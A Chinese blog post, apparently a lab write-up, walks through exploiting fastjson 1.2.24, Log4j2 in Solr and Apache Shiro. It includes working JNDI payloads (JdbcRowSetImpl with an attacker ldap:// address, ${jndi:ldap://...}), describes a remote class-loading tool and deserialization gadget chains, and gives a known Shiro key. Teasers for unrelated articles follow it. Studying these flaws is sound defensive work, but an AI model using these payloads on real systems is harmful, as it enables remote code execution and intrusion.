news 2026/10/22 1:42:23

java组件漏洞

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
java组件漏洞

fastjson


发正常请求,看反应



专门发错,看异常,这个五个字段是Spring Boot默认的500错误返回格式


重点字段:message":"syntax error"
不同的 JSON 库,解析失败时说法不一样:

库

典型报错文字

fastjson

syntax error
(小写、很短)

Jackson

Unexpected end-of-input
、Unexpected character

Gson

Expected BEGIN_OBJECT but was ...


这个地方处理了我发送的json



dnslog查询



流程总结

1. POST 发送 JSON 字符串
2. @RequestBody触发 Spring,交给 Fastjson 执行:JSON.parseObject(json串, User.class)(反序列化:串→User 对象)
3. 解析成功:进入接口方法,return user 对象;Spring 再用 Fastjson 序列化(对象→JSON 串)返回给你
4. 解析失败:parseObject 直接抛异常,不走接口内部代码,直接返回 500 报错



反连接



生成了





总体流程

① 识别 fastjson 1.2.24 / Spring Boot / JDK 1.8.0_102
← 错误体五字段 + "syntax error" 措辞

② 找入口 POST / 的 JSON body
← @RequestBody → JSON.parseObject(串, 类)
← A/B 对照:发 hello 回 hello

③ 验证 {"b":{"@type":"java.net.Inet4Address","val":"dnslog"}}
← DNSLog 响 = @type 被采纳
← 必须嵌套,顶层会 type not match

④ 利用 {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://工具/token","autoCommit":true}}
← 返回 500 但命令已执行

⑤ 取证 /tmp/pwned 存在


工具


JNDI-Injection-Exploit
建立java8环境:

用法
跑完打印几条 ldap://IP:1389/xxx,粘进 payload 即可。
payload:
原理:起 LDAP+RMI+HTTP 三个服务。目标 lookup 时回一个引用:「去我这儿下载 class」。目标下载 → 加载 → 执行。
便利:一条命令干掉「写恶意类 + javac 编译 + 起 HTTP + 起 LDAP」四件事。
限制:只走远程加载 class,JDK ≥ 8u191 失效。

返回500,但是命令执行了



Log4j2


通过标题百度了一下Solr


然后就可以知道可Log4j有关,然后用了yakit扫描模块,没扫出来,参数位置不对


Solr特点
/solr/admin/cores 是什么 这是 Solr 的 Core Admin API——内置功能,任何 Solr 都有这个路径,不需要开发者写一行代码。 action 是它的标准参数,官方文档里明确列出了支持哪些值(CREATE、RELOAD、STATUS…)。

试错:这个错误被记录到日志



dnslog查询


这里日志里的前缀没了,说明log4j2把它解析了,但 lookup 没成功



反连接
用yakit生成payload,然后用




流程

① 识别 Solr 8.11.0 / JDK 1.8.0_102 / 无认证 ← 三个问题,Ctrl+F 定位
② 找入口 action 参数 → 异常信息 → ERROR 日志 ← 打框架,不打代码
③ 验证 ${jndi:ldap://dnslog/a} → DNSLog 响 ← 只证明"被解析了"
④ 利用 ${jndi:ldap://工具地址/token} → RCE
⑤ 取证 /tmp/solr 存在 ← 唯一算数的证据


shiro

Shiro 的 rememberMe 是框架级的,CookieRememberMeManager 对所有路径都生效。
这出现 rememberMe=deleteMe ⇒ 100% 是 Shiro(这是它解密失败后主动清 Cookie 的行为,不是业务代码写的)。


这里再用yakit扫一下


Yakit Shiro 扫描原理
指纹识别:发包检测, Shiro特征:返回rememberMe=deleteMe 密钥爆破:内置Shiro密钥字典,逐个尝试解密 生成Payload:针对每个可用密钥,调用ysoserial生成不同利用链的序列化对象 Shiro加密:随机IV + AES-CBC加密序列化数据,IV+密文Base64编码,组成rememberMe Cookie 发包验证:发送带Cookie请求,通过DNSlog/OOB外带判断是否执行成功 输出结果:可用密钥、利用链、Payload 常用利用链极简汇总
利用链
CCK1(CommonsCollectionsK1) 依赖:commons-collections 原理:AnnotationInvocationHandler代理,链式调用Transformer,最终Runtime.exec执行命令 特点:Shiro靶场常用;
CC包类被黑名单拦截则失效 CC2(CommonsCollections2) 依赖:commons-collections4 原理:PriorityQueue反序列化,触发Transformer链,TemplatesImpl加载恶意字节码 特点:vulhub Shiro550经典链;
依赖CC4包 CB192NoCC(CommonsBeanutils1.9.2 NoCC) 依赖:commons-beanutils,无需commons-collections 原理:BeanComparator比较时调用TemplatesImpl.newTransformer,加载恶意字节码 特点:无Transformer数组,规避Shiro原生数组限制;
CC黑名单环境首选 Jdk7u21 依赖:无任何第三方jar,纯JDK 原理:AnnotationInvocationHandler代理配合TemplatesImpl,反序列化加载恶意字节码 特点:兜底链,CC/Beanutils包被删除时尝试;对JDK版本有要求

yakit直接找出了密钥kPH+bIxk5D2deZiIxcaaaA== 接着使用工具





版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/22 1:38:21

D7000音频功率放大器,为便携音频设备量身定制的高性能芯片

在当今快节奏的生活中,便携式音频设备已成为人们日常生活不可或缺的一部分。无论是通勤路上的音乐陪伴,还是户外旅行中的音频娱乐,一款高效、低功耗且音质出色的音频放大器是提升用户体验的关键。D7000音频功率放大器正是为满足这些需求而设计…

作者头像 李华
网站建设 2026/10/22 1:27:52

XL-DocBench如何打分?Accuracy、Token F1与ANLS三大评测指标深度解析

【免费下载链接】XL-DocBench 项目地址: https://ai.gitcode.com/hf_mirrors/microsoft/XL-DocBench 点击查看 免费下载 XL-DocBench 是一个面向超长文档理解的问答评测基准(Benchmark),收录了 292 份文档、1345 道由 194 位人类…

作者头像 李华
网站建设 2026/10/22 1:23:58

如何快速下载QwQ-32B-W8A8:ModelScope SDK、Git Clone等3种方法完整清单

【免费下载链接】QwQ-32B-W8A8 项目地址: https://ai.gitcode.com/hf_mirrors/vllm-ascend/QwQ-32B-W8A8 点击查看 免费下载 QwQ-32B-W8A8 是一款基于 Qwen2 架构的 W8A8 量化大语言模型。本文详细介绍 ModelScope SDK、Git Clone、modelscope CLI 命令等 3 种实用…

作者头像 李华